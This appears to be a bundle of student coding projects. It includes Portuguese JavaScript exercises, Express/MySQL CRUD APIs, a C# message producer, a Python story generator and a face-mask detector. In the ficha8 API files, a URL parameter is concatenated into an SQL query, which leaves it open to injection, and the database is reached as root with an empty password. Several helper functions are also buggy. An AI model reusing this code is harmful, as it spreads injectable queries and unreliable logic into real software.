for (let index = 0; index < width; index++) {
var line = "";
for (let j = 0; j < height; j++) {
if(index == 0 || index == height -1 || j == 0 || j == width -1){
line +="*"
}
else{
line += " "
}
}
console.log(line)
}
}
drawRectanngle(10,10);*/
// exercicio 9 ========================
var student1 = {firstName:"Pedro",LastName:"Perreira",age:20,grade:16.5, getGrade:function(){return this.firstName + " " + this.LastName + " com idade: " + this.age + " com nota:" + this.grade}};
var student2 = {firstName:"joao",LastName:"ferreira",age:21,grade:19,getGrade:function(){return this.firstName + " " + this.LastName + " com idade: " + this.age + " com nota:" + this.grade}};
var student3 = {firstName:"miguel",LastName:"Nunes",age:22,grade:12,getGrade:function(){return this.firstName + " " + this.LastName + " com idade: " + this.age + " com nota:" + this.grade}};
var student4 = {firstName:"andre",LastName:"Jorge",age:23,grade:15,getGrade:function(){return this.firstName + " " + this.LastName + " com idade: " + this.age + " com nota:" + this.grade}};
var student5 = {firstName:"camacho",LastName:"Rena",age:24,grade:8.5,getGrade:function(){return this.firstName + " " + this.LastName + " com idade: " + this.age + " com nota:" + this.grade}};
var student6 = {firstName:"joana",LastName:"Horta",age:20,grade:11,getGrade:function(){return this.firstName + " " + this.LastName + " com idade: " + this.age + " com nota:" + this.grade}};
var student7 = {firstName:"Micaela",LastName:"Perreira",age:24,grade:18,getGrade:function(){return this.firstName + " " + this.LastName + " com idade: " + this.age + " com nota:" + this.grade}};
var student8 = {firstName:"David",LastName:"Ferreira",age:19,grade:20,getGrade:function(){return this.firstName + " " + this.LastName + " com idade:" + this.age + " com nota:" + this.grade}};
var student9 = {firstName:"Ines",LastName:"Perreira",age:25,grade:10,getGrade:function(){return this.firstName + " " + this.LastName + " com idade: " + this.age + " com nota: " + this.grade}};
var studentarray = [];
studentarray.push(student1);
studentarray.push(student2);
studentarray.push(student3);
studentarray.push(student4);
studentarray.push(student5);
studentarray.push(student6);
studentarray.push(student7);
studentarray.push(student8);
studentarray.push(student9);
function displaygrade(array){
for (let i = 0; i < array.length; i++) {
const student = array[i];
console.log(student.getGrade());
}
}
displaygrade(studentarray);
//melhor nota
function GetbestGrade(array){
var max = array[0];
for (let i = 1; i < array.length; i++) {
if(array[i].grade > max.grade){
max = array[i];
}
}
return max;
}
var bestGrade = GetbestGrade(studentarray);
console.log('melhor nota');
console.log(bestGrade.getGrade());
//pior nota
function piornota(array){
var min = array[0];
for (let i = 1; i < array.length; i++) {
if(array[i].grade < min.grade){
min = array[i];
}
}
return min;
}
var minnota = piornota(studentarray);
console.log(' ');
console.log('pior nota');
console.log(minnota.getGrade());
// verificaçao da nota negativa
function notanegativa (array){
console.log(" ");
console.log("nota negativas");
console.log(" ");
for (let i = 0; i < array.length; i++) {
const student = array[i];
if(array[i].grade < 9.5){
console.log(student.getGrade());
}
}
}
var negGrade = notanegativa(studentarray);
// verificaçao da nota positiva
function notapositiva (array){
console.log(" ");
console.log("nota positiva");
console.log(" ");
for (let i = 0; i < array.length; i++) {
const student = array[i];
if(array[i].grade >= 9.5){
console.log(student.getGrade());
}
}
}
var posGrade = notapositiva(studentarray);
function getAverage(array) {
var average = 0;
for (let i = 0; i < array.length; i++) {
average += array[i].grade;
}
average = average / array.length;
return average;
}
function getClosestFromAverage(array) {
var average = getAverage(array);
var min = array[0];
var index = 0;
for (let i = 0; i < array.length; i++) {
var diff = Math.abs(array[i].grade - average);
if (diff < min) {
min = diff;
index = i;
}
}
return array[index];
}
var getClosest = getClosestFromAverage(studentarray);
console.log(' ');
console.log('media nota');
console.log(getClosest.getGrade());
<file_sep>/ficha8/app_yaml.js
//importar o express
const { json, response } = require('express');
const express = require('express');
const fs = require("fs");
const mysql = require('mysql');
//importar swagger
const swaggerJSDoc = require('./swagger.json');
const swaggerUi = require('swagger-ui-express');
//
// instanciar o express
const app = express()
// definir a porta do servidor http
const port = 3000
//funçoes midleware
app.use(express.json());
app.use(express.urlencoded({extended:false}));
app.use('/api-docs',swaggerUi.serve,swaggerUi.setup(swaggerJSDoc));
var connection = mysql.createConnection({
host:'localhost',
user:'root',
password:'',
database:'ficha7'
});
app.get('/persons',(request,response)=>{
connection.query("SELECT * FROM persons",function(error,results,fields){
if(error){
response.status(404);
response.end(error.message);
}
response.send(results);
});
});
app.post('/persons',(request,response)=>{
var details = request.body;
connection.query('INSERT INTO persons set ?',[details],function(error,results,fields) {
if (error){
response.status(404);
response.end(error.message);
}
response.send("Inserted ID is: ",results);
});
});
// 1º no body
//{"id":0}
// 2ºParams
//'/person/:id'
//localhost:3000/persons/1
//request.params.id
// 3ºQuery
//'persons'
//localhost:3000/personssons?id=1
// request.query.id
app.delete('/persons',(request,response)=>{
var id = request.body.id
connection.query('DELETE FROM persons WHERE ID = ?', id,function(error,results,fields) {
if (error){
response.status(404);
response.end(error.message);
}
response.send("DELETED: " + results.affectedRows + " entry(s)");
});
});
app.delete('/persons/:id',(request,response)=>{
var id = request.params.id
connection.query('DELETE FROM persons WHERE ID = ?', id,function(error,results,fields) {
if (error){
response.status(404);
response.end(error.message);
}
response.send("DELETED: " + results.affectedRows + " entry(s)");
});
});
app.get('/persons/:id',(request,response)=>{
var id = request.params.id
connection.query('SELECT * FROM persons WHERE ID = ' + id,function(error,results,fields) {
if (error){
response.status(404);
response.end(error.message);
}
if(results.length == 0){
response.status(404);
response.end('id not found ');
}
else
{
response.send(results);
}
});
});
app.get('/persons/:age/:profession',(request,response)=>{
var age = request.params.age
var profession = request.params.profession
connection.query('SELECT * FROM persons WHERE age =? AND profession =?',[age,profession] ,function(error,results,fields) {
if (error){
response.status(404);
response.end(error.message);
}
if(results.length == 0){
response.status(404);
response.end('id not found ');
}
else
{
response.send(results);
}
});
});
app.put('/persons/:id',(request,response)=>{
var id = request.params.id
var details = request.body;
connection.query('UPDATE persons set ? WHERE ID = ?' ,[details,id],
function(error,results,fields) {
if (error){
response.status(404);
response.end(error.message);
}
if(results.length == 0){
response.status(404);
response.end('id not found ');
}
else
{
details.id = id
response.send(details);
}
});
});
// metodo que arranca o servidor http e fica a escuta
app.listen(port, () => {
console.log(`Example app listening at http://localhost:${port}`);
});<file_sep>/README.md
# Web---Back-End
Disciplina Desenvolvimento Web - Back-End
<file_sep>/ficha8/app.js
//importar o express
const { json, response } = require('express');
const express = require('express');
const fs = require("fs");
const mysql = require('mysql');
//importar swagger
const swaggerJSDoc = require('swagger-jsdoc');
const swaggerUi = require('swagger-ui-express');
//
const swaggerOptions ={
swaggerDefinition:{
info:{
version:"1.0.0",
title:"ficha8 API",
description:"Ficha 8 API information",
contact:{
name:"TPSI-DWB"
},
servers:["http://localhost:3000"],
},
//definiçao de
definitions:{
"Person":{
"type":"object",
"properties": {
"id":{
"type":"integer",
"x-primery-key":true
},
"firstname":{
"type":"string"
},
"lastname":{
"type":"string"
},
"profession":{
"type":"string"
},
"age":{
"type":"integer",
"format":"int64"
},
}
}
}
},
apis:["app.js"]
};
// instanciar o express
const app = express()
// definir a porta do servidor http
const port = 3000
const swaggerDocs = swaggerJSDoc(swaggerOptions);
//funçoes midleware
app.use(express.json());
app.use(express.urlencoded({extended:false}));
app.use('/api-docs',swaggerUi.serve,swaggerUi.setup(swaggerDocs));
var connection = mysql.createConnection({
host:'localhost',
user:'root',
password:'',
database:'ficha7'
});
/**
* @swagger
* /persons:
* get:
* tags:
* - Persons
* summary: Gets a list of persons
* description: Returns a list of persons
* produces:
* - application/json
* responses:
* 200:
* descrition: An array of persons
* schema:
* $ref: '#/definitions/Person'
*/
app.get('/persons',(request,response)=>{
connection.query("SELECT * FROM persons",function(error,results,fields){
if(error){
response.status(404);
response.end(error.message);
}
response.send(results);
});
});
/**
* @swagger
* /persons:
* post:
* tags:
* - Persons
* summary: Gets a list of persons
* description: Returns a list of persons
* produces:
* - application/json
* parameters:
* - name: Model
* description: Sample person
* in: body
* required: true
* schema:
* $ref: '#/definitions/Person'
* responses:
* 200:
* descrition: Sucessfully created
*
*/
app.post('/persons',(request,response)=>{
var details = request.body;
connection.query('INSERT INTO persons set ?',[details],function(error,results,fields) {
if (error){
response.status(404);
response.end(error.message);
}
response.send("Inserted ID is: ",results);
});
});
// 1º no body
//{"id":0}
// 2ºParams
//'/person/:id'
//localhost:3000/persons/1
//request.params.id
// 3ºQuery
//'persons'
//localhost:3000/personssons?id=1
// request.query.id
/**
* @swagger
* /persons:
* delete:
* tags:
* - Persons
* summary: Delete a list of persons
* description: Returns a list of persons
* produces:
* - application/json
* parameters:
* - name: id
* description: Delete person
* in: body
* required: true
* type: string
schema:
* $ref: '#/definitions/Person'
* responses:
* 200:
* descrition: Sucessfully deleted
*
*
*
*/
app.delete('/persons',(request,response)=>{
var id = request.body.id
connection.query('DELETE FROM persons WHERE ID = ?', id,function(error,results,fields) {
if (error){
response.status(404);
response.end(error.message);
}
response.send("DELETED: " + results.affectedRows + " entry(s)");
});
});
/**
* @swagger
* /persons/{id}:
* delete:
* tags:
* - Persons
* summary: Delete a list of persons
* description: Returns a list of persons
* produces:
* - application/json
* parameters:
* - name: id
* description: Delete person
* in: path
* required: true
* type: string
* schema:
* $ref: '#/definitions/Person'
* responses:
* 200:
* descrition: Sucessfully deleted
*
*
*
*/
app.delete('/persons/:id',(request,response)=>{
var id = request.params.id
connection.query('DELETE FROM persons WHERE ID = ?', id,function(error,results,fields) {
if (error){
response.status(404);
response.end(error.message);
}
response.send("DELETED: " + results.affectedRows + " entry(s)");
});
});
/**
* @swagger
* /persons/{id}:
* get:
* tags:
* - Persons
* summary: Gets a list of persons
* description: Returns a list of persons
* produces:
* - application/json
* parameters:
* - name: id
* description: insert ID
* in: path
* required: true
* schema:
* $ref: '#/definitions/Person'
* responses:
* 200:
* in: Find id the person
*
*
*/
app.get('/persons/:id',(request,response)=>{
var id = request.params.id
connection.query('SELECT * FROM persons WHERE ID = ' + id,function(error,results,fields) {
if (error){
response.status(404);
response.end(error.message);
}
if(results.length == 0){
response.status(404);
response.end('id not found ');
}
else
{
response.send(results);
}
});
});
/**
* @swagger
* /persons/{age}/{profession}:
* get:
* tags:
* - Persons
* summary: Gets a list of persons
* description: Returns a list of persons
* produces:
* - application/json
* parameters:
* - name: age
* description: age
* in: path
* required: true
* - name: profession
* description: profession
* in: path
* required: true
* schema:
* $ref: '#/definitions/Person'
* responses:
* 200:
* in: Find age and profession the person
*
*
*/
app.get('/persons/:age/:profession',(request,response)=>{
var age = request.params.age
var profession = request.params.profession
connection.query('SELECT * FROM persons WHERE age =? AND profession =?',[age,profession] ,function(error,results,fields) {
if (error){
response.status(404);
response.end(error.message);
}
if(results.length == 0){
response.status(404);
response.end('id not found ');
}
else
{
response.send(results);
}
});
});
/**
* @swagger
* /persons/{id}:
* put:
* tags:
* - Persons
* summary: Update a list of persons
* description: Returns a list of persons
* produces:
* - application/json
* parameters:
* - name: id
* description: User ID
* in: path
* required: true
* - name: Model
* description: alter column
* in: body
* required: true
* schema:
* $ref: '#/definitions/Person'
* responses:
* 200:
* descrition: Sucessfully Update
*
*/
app.put('/persons/:id',(request,response)=>{
var id = request.params.id
var details = request.body;
connection.query('UPDATE persons set ? WHERE ID = ?' ,[details,id],
function(error,results,fields) {
if (error){
response.status(404);
response.end(error.message);
}
if(results.length == 0){
response.status(404);
response.end('id not found ');
}
else
{
details.id = id
response.send(details);
}
});
});
// metodo que arranca o servidor http e fica a escuta
app.listen(port, () => {
console.log(`Example app listening at http://localhost:${port}`);
});<file_sep>/ficha1/index.js
var a = 10;
var b = 15;
var c = a + b;
console.log(c);
// ficha 1 linha 5
//Implemente uma função que calcule a nota final da disciplina dada a sua nota prática e teórica e imprima
//se o aluno está aprovado ou reprovado
var miniprof = 16;
var freq = 10;
var profetofinal = 12;
var notafinal = miniprof * 0.3 + freq * 0.3 + profetofinal * 0.4;
//Concatenar uma string
console.log("A avaliação é: "+ Math.round(notafinal) +" Valores");
//linha 6-Implemente uma função que receba como argumento o número do mês e imprima o nome por extenso
var month = -2;
//if (month == 1) {
// console.log("janeiro")
//} else if (month == 2) {
// console.log("Fevereiro")
//} else if (month == 3) {
// console.log("março")
//} else if (month == 4) {
// console.log("abril")
//} else if (month == 5) {
// console.log("maio")
//}
switch(month){
case 1:
console.log("Janeiro");
break;
case 2:
console.log("Feveriro")
break;
case 3:
console.log("março")
break;
case 4:
console.log("abril")
break;
case 5:
console.log("maio")
break;
case 6:
console.log("junho")
break;
default:
console.log("Mes invalido")
break
}
var months = ["janeiro","Fevereiro","março","abril","maio"];
if(months[month -1] == undefined){
console.log("invalido");
}
else{
console.log(months[month -1]);
}
if(month -1 > 12 || month -1 < 1){
console.log("mes invalido");
} else {
console.log(months[month -1]);
}
//Implemente uma função que receba dois números e uma operação ( + , - , * , / ou ^)
//e imprima o resultado da operação sobre os números
var operador1 = 2;
var operador2 = 4;
var operado = "-";
var resultado = 0;
if(operado == "+"){
resultado = operador1 +operador2;
console.log("SOMA");
}
else if(operado == "-"){
resultado = operador1 - operador2;
console.log("SUBTRAÇAO");
}
else if(operado == "*"){
resultado = operador1 * operador2;
console.log("MULTIPLICAÇAO");
}
else if(operado == "/"){
resultado = operador1 / operador2;
console.log("DIVIDIR");
}
else if(operado == "^"){
resultado = Math.pow(operador1, operador2);
console.log("EXPOENTE");
}
//console.log(resultado);
// Implemente uma função que imprima todos os múltiplos de 5 menores que 20;
console.log(" ");
//inicializaçao
var i = 0;
//guarda ou clndição
//while(i <= 20){
//execuçao
// if(i % 5 == 0){
// console.log(i);
// }
//incrementaçao
// i++;
//}
//for (let j = 0; j <= 20; j++) {
// if(j % 5 == 0) {
//console.log(j);
// }
//}
//for (let j = 0; j <= 20; j+=5) {
// console.log(j);
//}
//9.Implemente uma função que imprima a soma dos primeiros 100 números inteiros.
var sum = 0;
for (let j = 0; j <= 100; j++) {
sum = sum + j;
}
//console.log("total: "+ sum);
// 10. Implemente uma função que calcule e devolva o fatorial de um número.
//3! = 3 x 2 x 1 = 6
var fact = 1;
for (let j = 1; j <= 3; j++) {
fact *=j
}
console.log(fact);
//11. Implemente várias funções para calcular o máximo,
//o mínimo e a média de uma sequência de números positivos.
var array = [1,4,5,7,0,12];
var max = array[0];
for (let i = 1; i < array.length; i++) {
if(array[i] > max) {
max = array[i];
}
}
console.log(max)
var min = array[0];
for (let i = 1; i < array.length; i++) {
if(array[i] < min) {
min = array[i];
}
}
console.log(min);
var sum = 0
var average = 0
for (let i = 1; i < array.length; i++) {
sum += array[i]
average = sum / array.length;
}
average = sum / array.length;
console.log(average);<file_sep>/ficha4/arrays.js
var array = [];
array.push(
function (index) {
console.log("Hello world " + index);
}
);
//array.push(20);
//array.push(30);
//array.push(40);
for (let i = 0; i < 10; i++) {
array[0](i + 1);
}
var array2 =[2,3,4,5,6];
for (let i = 0; i < array2.length; i++) {
const element = array2[i];
console.log("Element: " +element + " at index: " + i);
}
console.log(" ");
//sem nome da funçao é Anonymo
array2.forEach(function(element,i) {
console.log("Element: " +element + " at index: " + i);
});<file_sep>/ficha9/app.js
//importar o express
const { error } = require('console');
const { json, response } = require('express');
const express = require('express');
const fs = require("fs");
const mysql2 = require('mysql2');
const Sequelize = require('sequelize')
//importar swagger
const swaggerUi = require('swagger-ui-express');
const swaggerJSDoc = require('./swagger.json');
//
// instanciar o express
const app = express()
// definir a porta do servidor http
const port = 3000
//funçoes midleware
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use('/api-docs', swaggerUi.serve, swaggerUi.setup(swaggerJSDoc));
const sequelize = new Sequelize('ficha9', 'root', '', {
dialect: 'mysql'
});
sequelize.authenticate()
.then(() => {
console.log("connection has been estalished");
})
.catch(err => {
console.log("Unable to connect", err);
});
//criar peron na parte sequelize
const person = sequelize.define('person', {
//attributes
firstName: {
type: Sequelize.STRING,
allowNull: false
},
lastName: {
type: Sequelize.STRING
},
profession: {
type: Sequelize.STRING
},
age: {
type: Sequelize.INTEGER
}
});
//
sequelize.sync({ force: false })
.then(() => {
console.log("Database & tables created!");
}).then(function () {
return person.findAll();
}).then(function (persons) {
console.log(persons);
});
//
/*person.bulkCreate([
{firstName:'Pedro',lastName:'jardim',profession:'IT',age:62},
{firstName:'Manuel',lastName:'Maltos',profession:'IT',age:12},
{firstName:'Maria',lastName:'Fiqueira',profession:'IT',age:32},
{firstName:'Ana',lastName:'Duarte',profession:'IT',age:82},
{firstName:'Luis',lastName:'Faria',profession:'IT',age:42}
]).then(function() {
return person.findAll();
}).then(function(persons) {
console.log(persons);
});*/
//moastra lista de todas a pessoas
app.get('/person', (request, response) => {
//var user = request.query.user;
person.findAll().then(person => {
response.send(person)
});
});
app.post('/person', (request, response) => {
var details = request.body;
person.create(details).then(person => {
if (!person) {
response.status(404).send({ error: 'No user' });
}
response.status(200).send("Inserted id: " + person.id);
});
});
// delete everyone use ID
app.delete('/person', (request, response) => {
person.destroy({
where: {
id: request.body.id
}
}).then(count => {
if (!count) {
response.status(404).send({ error: 'No user' });
}
response.send("deleted: " + count);
});
});
// delete everyone no /person/:id
app.delete('/person/:id', (request, response) => {
person.destroy({
where: {
id: request.params.id
}
}).then(count => {
response.send("deleted: " + count);
//catch verifica o erro
}).catch(err => {
response.status(404).send(err);
});
});
//moastra lista pelo id usar params.id
app.get('/person/:id', (request, response) => {
person.findAll({
where: {
id: request.params.id
}
}).then(person => {
response.send(person)
}).catch(err => {
response.status(404).send("Not found: " + err);
});
});
//body-> request.body
//Params -> request.params
//Query -> request.query exemplo person?user = test exemplo http://localhost:3000/person?user=test
// listar pelo params age e profession
app.get('/person/:age/:profession', (request, response) => {
person.findAll({
where: {
age: request.params.age,
profession: request.params.profession
}
}).then(person => {
response.send(person)
}).catch(err => {
response.status(404).send("Not found: " + err);
});
});
app.put('/person/:id', (request, response) => {
person.update({
where: {
age: request.params.age,
profession: request.params.profession
}
}).then(person => {
response.send(person)
}).catch(err => {
response.status(404).send("Not found: " + err);
});
});
// metodo que arranca o servidor http e fica a escuta
app.listen(port, () => {
console.log(`Example app listening at http://localhost:${port}`);
});<file_sep>/ficha3/ArrayUtils.js
var arrayUtils = {
isEmpty: function(array){
/*if (array.length == 0) {
return true;
}
else{
return false;
}*/
if (array != undefined && array != null) {
return array.length == 0;
}
else{
return "array is undefined"
}
},
max: function(array){
var max = array[0];
if (this.isEmpty(array)) {
return 0;
}
else{
for (let i = 1; i < array.length; i++) {
if (array[i] > max) {
max = array[i];
}
}
return max
}
},
min: function(array){
var min = array[0];
for (let i = 1; i < array.length; i++) {
if (array[i] < min) {
min = array[i];
}
}
return min;
},
avarege: function(array){
var avg = array[0];
for (let i = 1; i < array.length; i++) {
avg += array[i];
}
return avg / array.length;
},
indexOf: function(array,value){
for (let i = 0; i < array.length; i++) {
if(value == array[i]){
return i;
}
}
return -1;
},
subarray: function(array,starindeex,endindex){
var a = [];
for (let i = starindeex; i <= endindex; i++) {
a.push(array[i]);
}
return a;
},
isSameLength: function(array,otherArray){
return array.length == otherArray.length;
},
reverse: function(array){
var r = [];
for (let i = array.length -1; i >= array.length; i--) {
r.push(array[i]);
}
return r;
},
swap: function(array,index1,index2){
//obter um valor que está num determinado indice do array
var val1 = array[index1];
var val2 = array[index2];
//alterar um determinado indice com outro valor
array[index1] = val2;
array[index2] = val1;
return array;
},
contains: function(array,value){
/*for (let i = 0; i < array.length; i++) {
if(value == array[i]){
return true;
}
}
return false;*/
return this.indexOf(array,value) != -1;
},
concatenate: function(array,otherArray){
var concatenat = array;
for (let i = 0; i < otherArray.length; i++) {
concatenat.push(otherArray[i]);
}
return concatenat;
},
};
module.exports = arrayUtils;<file_sep>/ficha3/app.js
function started( ) {
console.log("Started Download");
}
function update(value) {
console.log(value +"% of Download completed")
}
function completed() {
console.log("completed Download")
}
function performDownload(startedF,updateF,completedF) {
startedF();
for (let i = 0; i <= 100; i++) {
updateF(i);
}
completedF();
}
const arrayUtils = require("./ArrayUtils.js");
//performDownload(started,update,completed);
//============================================================================
var log = require("./ArrayUtils.js");
var array = [12,43,6,8,0];
var otherArray = [7,10];
console.log("o array está vazio? " + arrayUtils.isEmpty(array));
console.log("o maximo do array é: " + arrayUtils.max(array));
console.log("o minimo do array é: " + arrayUtils.min(array));
console.log("a media do array é: " + arrayUtils.avarege(array));
console.log("O indice do valor: " + 6 + " e: " + arrayUtils.indexOf(array,6));
var subarray = arrayUtils.subarray(array,3,5);
console.log("O sub-array é: " + subarray);
var sameSize = arrayUtils.isSameLength(array,otherArray);
console.log("Os arrays são do mesmo tamanho: "+ sameSize);
var inverteArray = arrayUtils.reverse(array);
console.log("O array invertido é: " + inverteArray);
var swapArray = arrayUtils.swap(array, 0, 9);
console.log("o array alterado: " + swapArray);
console.log("O array contém o valor: " + arrayUtils.contains(array,6));
var concatenateArray = arrayUtils.concatenate(array,otherArray);
console.log("o array alterado: " + concatenateArray);
| 50c75fbb3bb3f78df1f6faee377a4325011443af | [
"JavaScript",
"Markdown"
] | 12 | JavaScript | RaulRodrigues06/web-backend-1 | 38215d53219ef9dd915a8cb0ba7103faeb5f00fe | 16bf670236a6b7d303ff17f7d1bce2fcb183d0f4 |
refs/heads/master | <repo_name>Tasspazlad/Story_generator<file_sep>/story generator.py
import random
from time import sleep
mainChar = input("Main character: ")
rivalName = input("Rival's name: ")
activity = input("Daily activity (e.g. watching TV): ")
posAdj = input("Positive adjective (e.g. funny,happy) : ")
negAdj = input("Negative adjective (e.g. Careless,Dishonest) : ")
word1 = ['question','code','comment']
word2 = ['penguins','programmer jokes','text generation','another amazing fireworks','finding your partner']
word3 = ['C#','C++','Python','Javascript','Java','code']
word4 = ['liked','disliked','reported','deleted']
Sentance = [
'Yesterday, while browsing ChekToLearn and ', 'activity', ', ', 'mainChar', ' noticed that ',
'rivalName', ' posted a new ', 'word1', ' about ', 'word2', '. He ', 'word4', 'it and challenged him to a ',
'word3', ' battle. Then he posted his own ', 'posAdj', ' ', 'word1', ', but ', 'rivalName', ' retaliate with his', 'negAdj', ' comment about', 'word2', '.',
]
#item is the item of the list
for item in Sentance:
if item == "activity" : Sentance[Sentance.index(item)] = activity # index -> list[index] = val
elif item == "mainChar" : Sentance[Sentance.index(item)] = mainChar
elif item == "rivalName" : Sentance[Sentance.index(item)] = rivalName
elif item == "posAdj" : Sentance[Sentance.index(item)] = posAdj
elif item == "negAdj" : Sentance[Sentance.index(item)] = negAdj
elif item == "word1" :
index = Sentance.index(item)
Sentance[ index ] = random.choice(word1)
elif item == "word2" : Sentance[Sentance.index(item)] = random.choice(word2)
elif item == "word3" : Sentance[Sentance.index(item)] = random.choice(word3)
elif item == "word4" : Sentance[Sentance.index(item)] = random.choice(word4)
else:continue
#Story
story = " ".join(item for item in Sentance)
sleep(1)
print("\nStory is generating\n")
sleep(1)
print(story) | 075b2b600cab9432ea4d2db2dff029c866a17715 | [
"Python"
] | 1 | Python | Tasspazlad/Story_generator | 78065daf6ee74aaba3839bb7e2a926e039549748 | 45d1286ac6c8dbda893db109da6547f87e0fe918 |
refs/heads/master | <file_sep><?php
echo "starting install\n";
$cmd = 'mysqld --user=mysql';
$outputfile = 'mysql.log';
$pidfile = 'mysql.pid';
exec(sprintf("%s > %s 2>&1 & echo $! >> %s", $cmd, $outputfile, $pidfile));
echo "my SQL Started\n";
sleep(5);
exec("mysql -uroot -hlocalhost < setRootPassword.sql");
echo exec("ps -ef");
// -----------
$mysqli = new mysqli("localhost", "root", "<PASSWORD>");
if ($mysqli->connect_errno) {
echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}
echo $mysqli->host_info . "\n";
echo "stopping\n";
exec('killall mysqld');
echo "killed\n";
<file_sep>FROM mysql:5.7 as mysql
FROM php:7.1-apache
WORKDIR /work
ENV MYSQL_MAJOR 5.7
ENV MYSQL_VERSION 5.7.27-1debian9
COPY --from=mysql /etc/apt/trusted.gpg.d/mysql.gpg /etc/apt/trusted.gpg.d/
RUN echo "deb http://repo.mysql.com/apt/debian/ stretch mysql-${MYSQL_MAJOR}" > /etc/apt/sources.list.d/mysql.list
RUN apt-get update
ADD mysql-debSelections.txt ./
RUN debconf-set-selections < mysql-debSelections.txt && \
apt-get install -y mysql-server="${MYSQL_VERSION}"
RUN chown -R mysql:mysql /var/lib/mysql
RUN docker-php-ext-install mysqli
ADD . ./
| db984aca02bc32175ee6997ca35b4e4bd37e3e96 | [
"Dockerfile",
"PHP"
] | 2 | PHP | prowe/mysql-in-build | 7ab9e1abb05febfef96ae6c088d37fbccb1103dc | 240fcfbc3b73d1f96af7d471337bd5d0edd4f554 |
refs/heads/master | <file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using Newtonsoft.Json;
using NsqSharp;
using wwToolkit;
namespace NSQ_Producer
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
int iValCount = 150;
List <wwValue> wwData = new List<wwValue>();
for (int iCount = 0; iCount < iValCount; iCount ++)
{
for (int iNumber = 1; iNumber <= 6; iNumber ++)
{
wwValue wwVal = new wwValue();
wwVal.GenerateValue("Tester" + iNumber.ToString() +".MyTagName");
wwData.Add(wwVal);
System.Threading.Thread.Sleep(10);
}
}
string output = JsonConvert.SerializeObject(wwData);
var producer = new Producer("127.0.0.1:4150");
producer.Publish("test-topic-name", output);
producer.Stop();
}
}
}
| 94cb5c4d2100f4817d104bf5517a38df499c0bf1 | [
"C#"
] | 1 | C# | WhiteRoomAutomation/NSQ-Producer | 98554df98542144ba19cd7ab7ad4cb3e3b29b89b | 2ff3377db94600b1bbc180710bcb58bc20c3b0c8 |
refs/heads/main | <file_sep>import torch
import torch.nn as nn
import torch.nn.functional as F
import torchvision
import torchvision.transforms as transforms
import cv2
from PIL import Image
class nn_after_feature(nn.Module):
def __init__(self, hidden_one, hidden_two):
super(nn_after_feature, self).__init__()
self.name = "nn_after_feature"
self.fc1 = nn.Linear(256*6*6, hidden_one)
self.fc2 = nn.Linear(hidden_one, hidden_two)
self.fc3 = nn.Linear(hidden_two, 2)
def forward(self, x):
x = x.view(-1, 256*6*6)
x = F.relu(self.fc1(x))
x = F.relu(self.fc2(x))
x = self.fc3(x)
return x
class mask_analysis_system:
net_feature_extracter=""
net_classifier=""
def __init__(self):
self.net_classifier=nn_after_feature(50, 100)
if torch.cuda.is_available():
state = torch.load("checkpoint128_0.001.pth")
self.net_classifier.load_state_dict(state)
self.net_classifier=self.net_classifier.cuda()
self.net_feature_extracter = torchvision.models.alexnet(pretrained=True)
self.net_feature_extracter=self.net_feature_extracter.cuda()
else:
state = torch.load("checkpoint128_0.001.pth", map_location=torch.device('cpu'))
self.net_classifier.load_state_dict(state)
self.net_feature_extracter = torchvision.models.alexnet(pretrained=True)
def analysis(self, img_list):
judgement_list=[]
transformer = transforms.Compose([transforms.Resize([224, 224]), transforms.ToTensor()])
for img in img_list:
img=Image.fromarray(img)
img=transformer(img)
if torch.cuda.is_available():
img=img.float().unsqueeze(0).cuda()
else:
img=img.float().unsqueeze(0)
feature=self.net_feature_extracter.features(img)
feature=feature.contiguous()
out=self.net_classifier(feature)
out=out.max(1, keepdim=True)[1][0]
if out == 0:
judgement_list.append(True)
else:
judgement_list.append(False)
return judgement_list
def test_analysis():
analyzer = mask_analysis_system()
'''
transform = transforms.Compose([transforms.Resize((224, 224)), transforms.ToTensor()])
image_loaded=torchvision.datasets.ImageFolder("Photos_Directory/Train", transform=transform)
train_loader = torch.utils.data.DataLoader(image_loaded, batch_size=64,
num_workers=1)
'''
img = cv2.imread('Photos_Directory/Train/withoutMask/1.jpg.jpg')
print(img.shape)
out=analyzer.analysis([img])
print(out)
if __name__ == '__main__':
test_analysis()
<file_sep>import cv2
def test_video_integration():
cap = cv2.VideoCapture(0)
faceCascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')
while True:
_, img = cap.read()
gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
faces = faceCascade.detectMultiScale(
gray,
scaleFactor=1.1,
minNeighbors=5,
minSize=(30, 30),
)
video_integration(img, faces, [False, False, False, False])
cv2.imshow('img', img)
k = cv2.waitKey(30) & 0xff
if k == 27:
break
cap.release()
def video_integration(img, face_list, mask_detection_list):
index=0
for (x, y, w, h) in face_list:
if mask_detection_list[index]==True:
cv2.rectangle(img, (x, y), (x+w, y+h), (255, 0, 0), 2)
else:
cv2.rectangle(img, (x, y), (x+w, y+h), (0, 0, 255), 2)
index=index+1
cv2.imshow('img', img)
return
def video_integration_with_scale(img, face_list, mask_detection_list, scale_size):
font = cv2.FONT_HERSHEY_DUPLEX
index=0
for (top, right, bottom, left) in face_list:
top *= scale_size
right *= scale_size
bottom *= scale_size
left *= scale_size
if mask_detection_list[index]==True:
outline_color = (255, 0, 0) #red
label = "Mask"
else:
outline_color = (0, 0, 255) #blue
label = "No Mask"
cv2.rectangle(img, (left, top), (right, bottom), outline_color, 2)
cv2.putText(img, label, (left + 6, bottom - 6), font, 1.0, (255, 255, 255), 1)
index=index+1
cv2.imshow('webcam', img)
return
'''
if mask_detection_list[index]==True:
cv2.rectangle(img, (top, left), (right, bottom), (255, 0, 0), 2)
else:
cv2.rectangle(img, (top, left), (right, bottom), (0, 0, 255), 2)
index=index+1
'''
<file_sep>import face_recognition
import cv2
import os
from mask_analysis import *
#-------------------FACE DETECTION SYSTEM-------------------
#returns a list of coordinates; 1 set for each face in the photo.
def getCoordinates(img):
return face_recognition.face_locations(img)
#-----------------------SPLIT SYSTEM------------------------
def getListOfFaces(img):
face_locations = getCoordinates(img)
width = height = 244
list_of_faces = []
for face_coords in face_locations:
(top, right, bottom, left) = face_coords
face_image = img[top:bottom, left:right]
resized = cv2.resize(face_image, (width, height))
list_of_faces.append(resized)
return list_of_faces
